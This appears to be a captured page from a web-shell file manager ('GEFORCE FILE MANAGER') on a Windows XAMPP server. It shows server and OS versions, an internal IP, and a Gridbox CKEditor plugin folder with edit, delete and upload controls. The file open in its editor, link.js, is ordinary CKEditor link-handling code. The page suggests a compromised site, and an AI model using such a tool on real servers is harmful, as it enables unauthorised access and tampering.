[ SYSTEM ]: Windows NT SWD-ELEARN-11 10.0 build 20348 (Windows Server 2016) AMD64
[ SERVER ]: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.9 | PHP: 7.3.9
[ USER ]: Elearn | IP: 10.201.204.156
GEFORCE FILE MANAGER
/
C:
/
xampp
/
htdocs
/
Ajaji
/
components
/
com_gridbox
/
libraries
/
ckeditor
/
js
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 anchor.js
2,216 B
SET
[ EDIT ]
|
[ DEL ]
📄 code.js
2,870 B
SET
[ EDIT ]
|
[ DEL ]
📄 dataTags.js
1,332 B
SET
[ EDIT ]
|
[ DEL ]
📄 gridboxPlugins.js
774 B
SET
[ EDIT ]
|
[ DEL ]
📄 image.js
3,048 B
SET
[ EDIT ]
|
[ DEL ]
📄 link.js
2,960 B
SET
[ EDIT ]
|
[ DEL ]
📄 unlink.js
793 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: link.js
/** * @package Gridbox * @author Balbooa http://www.balbooa.com/ * @copyright Copyright @ Balbooa * @license http://www.gnu.org/licenses/gpl.html GNU/GPL */ CKEDITOR.plugins.add('myLink', { icons: 'link', init: function(editor){ editor.addCommand('linkComand', { exec: function(editor){ var link = '', target = '_self', type = '', ckeLinkModal = top.$g('#edit-post-link-dialog'), selection = editor.document.$.getSelection(), range = selection.getRangeAt(0), startParent = range.startContainer.parentNode; top.app.currentCKE = editor; if (startParent.localName && startParent.localName == 'a' && startParent == range.endContainer.parentNode) { range.setStartBefore(startParent); range.setEndAfter(startParent); link = startParent.getAttribute('href'); target = startParent.getAttribute('target') ? startParent.getAttribute('target') : target; type = startParent.hasAttribute('download') ? 'download' : ''; } ckeLinkModal.find('.post-link-input').val(link); ckeLinkModal.find('.cke-link-target-select').each(function(){ this.querySelector('input[type="hidden"]').value = target; target = this.querySelector('li[data-value="'+target+'"]').textContent.trim(); this.querySelector('input[type="text"]').value = target; }); ckeLinkModal.find('.post-link-type-select').each(function(){ this.querySelector('input[type="hidden"]').value = type; type = this.querySelector('li[data-value="'+type+'"]').textContent.trim(); this.querySelector('input[type="text"]').value = type; }); top.app.checkModule('ckeLink'); } }); editor.ui.addButton('myLink', { label: CKEDITOR.lang[CKEDITOR.lang.detect()].link.title, command: 'linkComand', toolbar: 'links', icon: 'link' }); }, insertLink:function(obj){ var selection = top.app.currentCKE.document.$.getSelection(); top.app.currentCKE.document.$.execCommand('createlink', false, obj.href); selection.anchorNode.parentElement.target = obj.target; if (!obj.type) { selection.anchorNode.parentElement.removeAttribute('download'); } else { selection.anchorNode.parentElement.setAttribute('download', ''); } top.app.currentCKE.fire( 'change' ); } }); CKEDITOR.config.extraPlugins = CKEDITOR.config.extraPlugins ? CKEDITOR.config.extraPlugins+',myLink' : 'myLink';